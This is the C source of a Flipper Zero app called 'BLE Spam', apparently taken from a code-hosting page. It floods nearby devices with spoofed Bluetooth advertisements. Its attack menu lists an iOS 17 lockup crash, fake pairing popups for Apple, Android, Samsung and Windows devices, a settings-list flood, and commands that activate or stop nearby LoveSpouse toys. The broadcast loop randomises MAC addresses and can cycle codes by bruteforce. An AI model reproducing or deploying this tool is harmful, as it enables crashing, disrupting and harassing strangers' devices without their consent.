ble_spam.c 25 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745
  1. #include "ble_spam.h"
  2. #include <gui/gui.h>
  3. #include <furi_hal_bt.h>
  4. #include <extra_beacon.h>
  5. #include <gui/elements.h>
  6. #include "protocols/_protocols.h"
  7. // Hacked together by @Willy-JL
  8. // Custom adv API by @Willy-JL (idea by @xMasterX)
  9. // iOS 17 Crash by @ECTO-1A
  10. // Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
  11. // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
  12. // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
  13. static Attack attacks[] = {
  14. {
  15. .title = "The Kitchen Sink",
  16. .text = "Flood all attacks at once",
  17. .protocol = NULL,
  18. .payload =
  19. {
  20. .random_mac = true,
  21. .cfg = {},
  22. },
  23. },
  24. {
  25. .title = "BT Settings Flood",
  26. .text = "Fills available BT devices",
  27. .protocol = &protocol_nameflood,
  28. .payload =
  29. {
  30. .random_mac = true,
  31. .cfg.nameflood = {},
  32. },
  33. },
  34. {
  35. .title = "iOS 17 Lockup Crash",
  36. .text = "Newer iPhones, long range",
  37. .protocol = &protocol_continuity,
  38. .payload =
  39. {
  40. .random_mac = false,
  41. .cfg.continuity =
  42. {
  43. .type = ContinuityTypeCustomCrash,
  44. },
  45. },
  46. },
  47. {
  48. .title = "Apple Action Modal",
  49. .text = "Lock cooldown, long range",
  50. .protocol = &protocol_continuity,
  51. .payload =
  52. {
  53. .random_mac = false,
  54. .cfg.continuity =
  55. {
  56. .type = ContinuityTypeNearbyAction,
  57. },
  58. },
  59. },
  60. {
  61. .title = "Apple Device Popup",
  62. .text = "No cooldown, close range",
  63. .protocol = &protocol_continuity,
  64. .payload =
  65. {
  66. .random_mac = false,
  67. .cfg.continuity =
  68. {
  69. .type = ContinuityTypeProximityPair,
  70. },
  71. },
  72. },
  73. {
  74. .title = "Android Device Connect",
  75. .text = "Reboot cooldown, long range",
  76. .protocol = &protocol_fastpair,
  77. .payload =
  78. {
  79. .random_mac = true,
  80. .cfg.fastpair = {},
  81. },
  82. },
  83. {
  84. .title = "Samsung Buds Popup",
  85. .text = "No cooldown, long range",
  86. .protocol = &protocol_easysetup,
  87. .payload =
  88. {
  89. .random_mac = true,
  90. .cfg.easysetup =
  91. {
  92. .type = EasysetupTypeBuds,
  93. },
  94. },
  95. },
  96. {
  97. .title = "Samsung Watch Pair",
  98. .text = "No cooldown, long range",
  99. .protocol = &protocol_easysetup,
  100. .payload =
  101. {
  102. .random_mac = true,
  103. .cfg.easysetup =
  104. {
  105. .type = EasysetupTypeWatch,
  106. },
  107. },
  108. },
  109. {
  110. .title = "Windows Device Found",
  111. .text = "No cooldown, short range",
  112. .protocol = &protocol_swiftpair,
  113. .payload =
  114. {
  115. .random_mac = true,
  116. .cfg.swiftpair = {},
  117. },
  118. },
  119. {
  120. .title = "Vibrate 'em All",
  121. .text = "Activate all LoveSpouse toys",
  122. .protocol = &protocol_lovespouse,
  123. .payload =
  124. {
  125. .random_mac = true,
  126. .cfg.lovespouse =
  127. {
  128. .state = LovespouseStatePlay,
  129. },
  130. },
  131. },
  132. {
  133. .title = "Denial of Pleasure",
  134. .text = "Disable all LoveSpouse toys",
  135. .protocol = &protocol_lovespouse,
  136. .payload =
  137. {
  138. .random_mac = true,
  139. .cfg.lovespouse =
  140. {
  141. .state = LovespouseStateStop,
  142. },
  143. },
  144. },
  145. };
  146. #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
  147. static uint16_t delays[] = {20, 50, 100, 200, 500};
  148. typedef struct {
  149. Ctx ctx;
  150. View* main_view;
  151. bool lock_warning;
  152. uint8_t lock_count;
  153. FuriTimer* lock_timer;
  154. bool advertising;
  155. uint8_t delay;
  156. GapExtraBeaconConfig config;
  157. FuriThread* thread;
  158. int8_t index;
  159. bool ignore_bruteforce;
  160. } State;
  161. const NotificationSequence solid_message = {
  162. &message_red_0,
  163. &message_green_255,
  164. &message_blue_255,
  165. &message_do_not_reset,
  166. &message_delay_10,
  167. NULL,
  168. };
  169. NotificationMessage blink_message = {
  170. .type = NotificationMessageTypeLedBlinkStart,
  171. .data.led_blink.color = LightBlue | LightGreen,
  172. .data.led_blink.on_time = 10,
  173. .data.led_blink.period = 100,
  174. };
  175. const NotificationSequence blink_sequence = {
  176. &blink_message,
  177. &message_do_not_reset,
  178. NULL,
  179. };
  180. static void start_blink(State* state) {
  181. if(!state->ctx.led_indicator) return;
  182. uint16_t period = delays[state->delay];
  183. if(period <= 100) period += 30;
  184. blink_message.data.led_blink.period = period;
  185. notification_message_block(state->ctx.notification, &blink_sequence);
  186. }
  187. static void stop_blink(State* state) {
  188. if(!state->ctx.led_indicator) return;
  189. notification_message_block(state->ctx.notification, &sequence_blink_stop);
  190. }
  191. static void randomize_mac(State* state) {
  192. furi_hal_random_fill_buf(state->config.address, sizeof(state->config.address));
  193. }
  194. static void start_extra_beacon(State* state) {
  195. uint8_t size;
  196. uint8_t* packet;
  197. uint16_t delay = delays[state->delay];
  198. GapExtraBeaconConfig* config = &state->config;
  199. Payload* payload = &attacks[state->index].payload;
  200. const Protocol* protocol = attacks[state->index].protocol;
  201. config->min_adv_interval_ms = delay;
  202. config->max_adv_interval_ms = delay * 1.5;
  203. if(payload->random_mac) randomize_mac(state);
  204. furi_check(furi_hal_bt_extra_beacon_set_config(config));
  205. if(protocol) {
  206. protocol->make_packet(&size, &packet, payload);
  207. } else {
  208. protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
  209. }
  210. furi_check(furi_hal_bt_extra_beacon_set_data(packet, size));
  211. free(packet);
  212. furi_check(furi_hal_bt_extra_beacon_start());
  213. }
  214. static int32_t adv_thread(void* _ctx) {
  215. State* state = _ctx;
  216. Payload* payload = &attacks[state->index].payload;
  217. const Protocol* protocol = attacks[state->index].protocol;
  218. if(!payload->random_mac) randomize_mac(state);
  219. start_blink(state);
  220. if(furi_hal_bt_extra_beacon_is_active()) {
  221. furi_check(furi_hal_bt_extra_beacon_stop());
  222. }
  223. while(state->advertising) {
  224. if(protocol && payload->mode == PayloadModeBruteforce &&
  225. payload->bruteforce.counter++ >= 10) {
  226. payload->bruteforce.counter = 0;
  227. payload->bruteforce.value =
  228. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  229. }
  230. start_extra_beacon(state);
  231. furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
  232. furi_check(furi_hal_bt_extra_beacon_stop());
  233. }
  234. stop_blink(state);
  235. return 0;
  236. }
  237. static void toggle_adv(State* state) {
  238. if(state->advertising) {
  239. state->advertising = false;
  240. furi_thread_flags_set(furi_thread_get_id(state->thread), true);
  241. furi_thread_join(state->thread);
  242. } else {
  243. state->advertising = true;
  244. furi_thread_start(state->thread);
  245. }
  246. }
  247. #define PAGE_MIN (-5)
  248. #define PAGE_MAX ATTACKS_COUNT
  249. enum {
  250. PageHelpBruteforce = PAGE_MIN,
  251. PageHelpApps,
  252. PageHelpDelay,
  253. PageHelpDistance,
  254. PageHelpInfoConfig,
  255. PageStart = 0,
  256. PageEnd = ATTACKS_COUNT - 1,
  257. PageAboutCredits = PAGE_MAX,
  258. };
  259. static void draw_callback(Canvas* canvas, void* _ctx) {
  260. State* state = *(State**)_ctx;
  261. const char* back = "Back";
  262. const char* next = "Next";
  263. if(state->index < 0) {
  264. back = "Next";
  265. next = "Back";
  266. }
  267. switch(state->index) {
  268. case PageStart - 1:
  269. next = "Spam";
  270. break;
  271. case PageStart:
  272. back = "Help";
  273. break;
  274. case PageEnd:
  275. next = "About";
  276. break;
  277. case PageEnd + 1:
  278. back = "Spam";
  279. break;
  280. }
  281. const Attack* attack =
  282. (state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
  283. const Payload* payload = attack ? &attack->payload : NULL;
  284. const Protocol* protocol = attack ? attack->protocol : NULL;
  285. canvas_set_font(canvas, FontSecondary);
  286. const Icon* icon = protocol ? protocol->icon : &I_ble_spam;
  287. canvas_draw_icon(canvas, 4 - (icon == &I_ble_spam), 3, icon);
  288. canvas_draw_str(canvas, 14, 12, "BLE Spam");
  289. switch(state->index) {
  290. case PageHelpBruteforce:
  291. canvas_set_font(canvas, FontBatteryPercent);
  292. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  293. elements_text_box(
  294. canvas,
  295. 4,
  296. 16,
  297. 120,
  298. 48,
  299. AlignLeft,
  300. AlignTop,
  301. "\e#Bruteforce\e# cycles codes\n"
  302. "to find popups, hold left and\n"
  303. "right to send manually and\n"
  304. "change delay",
  305. false);
  306. break;
  307. case PageHelpApps:
  308. canvas_set_font(canvas, FontBatteryPercent);
  309. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  310. elements_text_box(
  311. canvas,
  312. 4,
  313. 16,
  314. 120,
  315. 48,
  316. AlignLeft,
  317. AlignTop,
  318. "\e#Some Apps\e# interfere\n"
  319. "with the attacks, stay on\n"
  320. "homescreen for best results",
  321. false);
  322. break;
  323. case PageHelpDelay:
  324. canvas_set_font(canvas, FontBatteryPercent);
  325. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  326. elements_text_box(
  327. canvas,
  328. 4,
  329. 16,
  330. 120,
  331. 48,
  332. AlignLeft,
  333. AlignTop,
  334. "\e#Delay\e# is time between\n"
  335. "attack attempts (top right),\n"
  336. "keep 20ms for best results",
  337. false);
  338. break;
  339. case PageHelpDistance:
  340. canvas_set_font(canvas, FontBatteryPercent);
  341. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  342. elements_text_box(
  343. canvas,
  344. 4,
  345. 16,
  346. 120,
  347. 48,
  348. AlignLeft,
  349. AlignTop,
  350. "\e#Distance\e# varies greatly:\n"
  351. "some are long range (>30 m)\n"
  352. "others are close range (<1 m)",
  353. false);
  354. break;
  355. case PageHelpInfoConfig:
  356. canvas_set_font(canvas, FontBatteryPercent);
  357. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
  358. elements_text_box(
  359. canvas,
  360. 4,
  361. 16,
  362. 120,
  363. 48,
  364. AlignLeft,
  365. AlignTop,
  366. "See \e#more info\e# and change\n"
  367. "attack \e#options\e# by holding\n"
  368. "Ok on each attack page",
  369. false);
  370. break;
  371. case PageAboutCredits:
  372. canvas_set_font(canvas, FontBatteryPercent);
  373. canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
  374. elements_text_box(
  375. canvas,
  376. 4,
  377. 16,
  378. 122,
  379. 48,
  380. AlignLeft,
  381. AlignTop,
  382. "App+Spam: \e#WillyJL\e# MNTM\n"
  383. "Apple+Crash: \e#ECTO-1A\e#\n"
  384. "Android+Win: \e#Spooks4576\e#\n"
  385. " Version \e#" FAP_VERSION "\e#",
  386. false);
  387. break;
  388. default: {
  389. if(!attack) break;
  390. if(state->ctx.lock_keyboard && !state->advertising) {
  391. // Forgive me Lord for I have sinned by handling state in draw
  392. toggle_adv(state);
  393. }
  394. char str[32];
  395. canvas_set_font(canvas, FontBatteryPercent);
  396. if(payload->mode == PayloadModeBruteforce) {
  397. snprintf(
  398. str,
  399. sizeof(str),
  400. "0x%0*lX",
  401. payload->bruteforce.size * 2,
  402. payload->bruteforce.value);
  403. } else {
  404. snprintf(str, sizeof(str), "%ims", delays[state->delay]);
  405. }
  406. canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
  407. canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
  408. canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
  409. canvas_set_font(canvas, FontBatteryPercent);
  410. if(payload->mode == PayloadModeBruteforce) {
  411. canvas_draw_str_aligned(canvas, 64, 22, AlignCenter, AlignBottom, "Bruteforce");
  412. if(delays[state->delay] < 100) {
  413. snprintf(str, sizeof(str), "%ims>", delays[state->delay]);
  414. } else {
  415. snprintf(str, sizeof(str), "%.1fs>", (double)delays[state->delay] / 1000);
  416. }
  417. uint16_t w = canvas_string_width(canvas, str);
  418. elements_slightly_rounded_box(canvas, 3, 14, 30, 10);
  419. elements_slightly_rounded_box(canvas, 119 - w, 14, 6 + w, 10);
  420. canvas_invert_color(canvas);
  421. canvas_draw_str_aligned(canvas, 5, 22, AlignLeft, AlignBottom, "<Send");
  422. canvas_draw_str_aligned(canvas, 122, 22, AlignRight, AlignBottom, str);
  423. canvas_invert_color(canvas);
  424. } else {
  425. snprintf(
  426. str,
  427. sizeof(str),
  428. "%02i/%02i: %s",
  429. state->index + 1,
  430. ATTACKS_COUNT,
  431. protocol ? protocol->get_name(payload) : "Everything AND");
  432. canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 22, str);
  433. }
  434. canvas_set_font(canvas, FontPrimary);
  435. canvas_draw_str(canvas, 4, 33, attack->title);
  436. canvas_set_font(canvas, FontSecondary);
  437. canvas_draw_str(canvas, 4, 46, attack->text);
  438. elements_button_center(canvas, state->advertising ? "Stop" : "Start");
  439. break;
  440. }
  441. }
  442. if(state->index > PAGE_MIN) {
  443. elements_button_left(canvas, back);
  444. }
  445. if(state->index < PAGE_MAX) {
  446. elements_button_right(canvas, next);
  447. }
  448. if(state->lock_warning) {
  449. canvas_set_font(canvas, FontSecondary);
  450. elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
  451. elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
  452. canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
  453. canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
  454. canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
  455. canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
  456. canvas_draw_dot(canvas, 17, 61);
  457. }
  458. }
  459. static bool input_callback(InputEvent* input, void* _ctx) {
  460. View* view = _ctx;
  461. State* state = *(State**)view_get_model(view);
  462. bool consumed = false;
  463. if(state->ctx.lock_keyboard) {
  464. consumed = true;
  465. state->lock_warning = true;
  466. if(state->lock_count == 0) {
  467. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  468. furi_timer_start(state->lock_timer, 1000);
  469. }
  470. if(input->type == InputTypeShort && input->key == InputKeyBack) {
  471. state->lock_count++;
  472. }
  473. if(state->lock_count >= 3) {
  474. furi_timer_set_thread_priority(FuriTimerThreadPriorityElevated);
  475. furi_timer_start(state->lock_timer, 1);
  476. }
  477. } else if(
  478. input->type == InputTypeShort || input->type == InputTypeLong ||
  479. input->type == InputTypeRepeat) {
  480. consumed = true;
  481. bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
  482. Payload* payload = is_attack ? &attacks[state->index].payload : NULL;
  483. bool advertising = state->advertising;
  484. switch(input->key) {
  485. case InputKeyOk:
  486. if(is_attack) {
  487. if(input->type == InputTypeLong) {
  488. if(advertising) toggle_adv(state);
  489. state->ctx.attack = &attacks[state->index];
  490. scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
  491. view_commit_model(view, consumed);
  492. scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
  493. return consumed;
  494. } else if(input->type == InputTypeShort) {
  495. toggle_adv(state);
  496. }
  497. }
  498. break;
  499. case InputKeyUp:
  500. if(is_attack) {
  501. if(payload->mode == PayloadModeBruteforce) {
  502. payload->bruteforce.counter = 0;
  503. payload->bruteforce.value =
  504. (payload->bruteforce.value + 1) % (1 << (payload->bruteforce.size * 8));
  505. } else if(state->delay < COUNT_OF(delays) - 1) {
  506. state->delay++;
  507. if(advertising) start_blink(state);
  508. }
  509. }
  510. break;
  511. case InputKeyDown:
  512. if(is_attack) {
  513. if(payload->mode == PayloadModeBruteforce) {
  514. payload->bruteforce.counter = 0;
  515. payload->bruteforce.value =
  516. (payload->bruteforce.value - 1) % (1 << (payload->bruteforce.size * 8));
  517. } else if(state->delay > 0) {
  518. state->delay--;
  519. if(advertising) start_blink(state);
  520. }
  521. }
  522. break;
  523. case InputKeyLeft:
  524. if(input->type == InputTypeLong) {
  525. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  526. true;
  527. }
  528. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  529. payload->mode != PayloadModeBruteforce) {
  530. if(state->index > PAGE_MIN) {
  531. if(advertising) toggle_adv(state);
  532. state->index--;
  533. }
  534. } else {
  535. if(!advertising) {
  536. Payload* payload = &attacks[state->index].payload;
  537. if(input->type == InputTypeLong && !payload->random_mac) randomize_mac(state);
  538. if(furi_hal_bt_extra_beacon_is_active()) {
  539. furi_check(furi_hal_bt_extra_beacon_stop());
  540. }
  541. start_extra_beacon(state);
  542. if(state->ctx.led_indicator)
  543. notification_message(state->ctx.notification, &solid_message);
  544. furi_delay_ms(10);
  545. furi_check(furi_hal_bt_extra_beacon_stop());
  546. if(state->ctx.led_indicator)
  547. notification_message_block(state->ctx.notification, &sequence_reset_rgb);
  548. }
  549. }
  550. break;
  551. case InputKeyRight:
  552. if(input->type == InputTypeLong) {
  553. state->ignore_bruteforce = payload ? (payload->mode != PayloadModeBruteforce) :
  554. true;
  555. }
  556. if(input->type == InputTypeShort || !is_attack || state->ignore_bruteforce ||
  557. payload->mode != PayloadModeBruteforce) {
  558. if(state->index < PAGE_MAX) {
  559. if(advertising) toggle_adv(state);
  560. state->index++;
  561. }
  562. } else if(input->type == InputTypeLong) {
  563. state->delay = (state->delay + 1) % COUNT_OF(delays);
  564. if(advertising) start_blink(state);
  565. }
  566. break;
  567. case InputKeyBack:
  568. if(advertising) toggle_adv(state);
  569. consumed = false;
  570. break;
  571. default:
  572. break;
  573. }
  574. }
  575. view_commit_model(view, consumed);
  576. return consumed;
  577. }
  578. static void lock_timer_callback(void* _ctx) {
  579. State* state = _ctx;
  580. if(state->lock_count < 3) {
  581. notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
  582. } else {
  583. state->ctx.lock_keyboard = false;
  584. }
  585. with_view_model(state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
  586. state->lock_count = 0;
  587. furi_timer_set_thread_priority(FuriTimerThreadPriorityNormal);
  588. }
  589. static bool custom_event_callback(void* _ctx, uint32_t event) {
  590. State* state = _ctx;
  591. return scene_manager_handle_custom_event(state->ctx.scene_manager, event);
  592. }
  593. static void tick_event_callback(void* _ctx) {
  594. State* state = _ctx;
  595. bool advertising;
  596. with_view_model(
  597. state->main_view, State * *model, { advertising = (*model)->advertising; }, advertising);
  598. scene_manager_handle_tick_event(state->ctx.scene_manager);
  599. }
  600. static bool back_event_callback(void* _ctx) {
  601. State* state = _ctx;
  602. return scene_manager_handle_back_event(state->ctx.scene_manager);
  603. }
  604. int32_t ble_spam(void* p) {
  605. UNUSED(p);
  606. GapExtraBeaconConfig prev_cfg;
  607. const GapExtraBeaconConfig* prev_cfg_ptr = furi_hal_bt_extra_beacon_get_config();
  608. if(prev_cfg_ptr) {
  609. memcpy(&prev_cfg, prev_cfg_ptr, sizeof(prev_cfg));
  610. }
  611. uint8_t prev_data[EXTRA_BEACON_MAX_DATA_SIZE];
  612. uint8_t prev_data_len = furi_hal_bt_extra_beacon_get_data(prev_data);
  613. bool prev_active = furi_hal_bt_extra_beacon_is_active();
  614. State* state = malloc(sizeof(State));
  615. state->config.adv_channel_map = GapAdvChannelMapAll;
  616. state->config.adv_power_level = GapAdvPowerLevel_6dBm;
  617. state->config.address_type = GapAddressTypePublic;
  618. state->thread = furi_thread_alloc();
  619. furi_thread_set_callback(state->thread, adv_thread);
  620. furi_thread_set_context(state->thread, state);
  621. furi_thread_set_stack_size(state->thread, 2048);
  622. state->ctx.led_indicator = true;
  623. state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
  624. state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
  625. Gui* gui = furi_record_open(RECORD_GUI);
  626. state->ctx.view_dispatcher = view_dispatcher_alloc();
  627. view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, state);
  628. view_dispatcher_set_custom_event_callback(state->ctx.view_dispatcher, custom_event_callback);
  629. view_dispatcher_set_tick_event_callback(state->ctx.view_dispatcher, tick_event_callback, 100);
  630. view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
  631. state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
  632. state->main_view = view_alloc();
  633. view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
  634. with_view_model(state->main_view, State * *model, { *model = state; }, false);
  635. view_set_context(state->main_view, state->main_view);
  636. view_set_draw_callback(state->main_view, draw_callback);
  637. view_set_input_callback(state->main_view, input_callback);
  638. view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
  639. state->ctx.byte_input = byte_input_alloc();
  640. view_dispatcher_add_view(
  641. state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
  642. state->ctx.submenu = submenu_alloc();
  643. view_dispatcher_add_view(
  644. state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
  645. state->ctx.text_input = text_input_alloc();
  646. view_dispatcher_add_view(
  647. state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
  648. state->ctx.variable_item_list = variable_item_list_alloc();
  649. view_dispatcher_add_view(
  650. state->ctx.view_dispatcher,
  651. ViewVariableItemList,
  652. variable_item_list_get_view(state->ctx.variable_item_list));
  653. view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
  654. scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
  655. view_dispatcher_run(state->ctx.view_dispatcher);
  656. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
  657. byte_input_free(state->ctx.byte_input);
  658. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
  659. submenu_free(state->ctx.submenu);
  660. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
  661. text_input_free(state->ctx.text_input);
  662. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
  663. variable_item_list_free(state->ctx.variable_item_list);
  664. view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
  665. view_free(state->main_view);
  666. scene_manager_free(state->ctx.scene_manager);
  667. view_dispatcher_free(state->ctx.view_dispatcher);
  668. furi_record_close(RECORD_GUI);
  669. furi_record_close(RECORD_NOTIFICATION);
  670. furi_timer_free(state->lock_timer);
  671. furi_thread_free(state->thread);
  672. free(state);
  673. if(furi_hal_bt_extra_beacon_is_active()) {
  674. furi_check(furi_hal_bt_extra_beacon_stop());
  675. }
  676. if(prev_cfg_ptr) {
  677. furi_check(furi_hal_bt_extra_beacon_set_config(&prev_cfg));
  678. }
  679. furi_check(furi_hal_bt_extra_beacon_set_data(prev_data, prev_data_len));
  680. if(prev_active) {
  681. furi_check(furi_hal_bt_extra_beacon_start());
  682. }
  683. return 0;
  684. }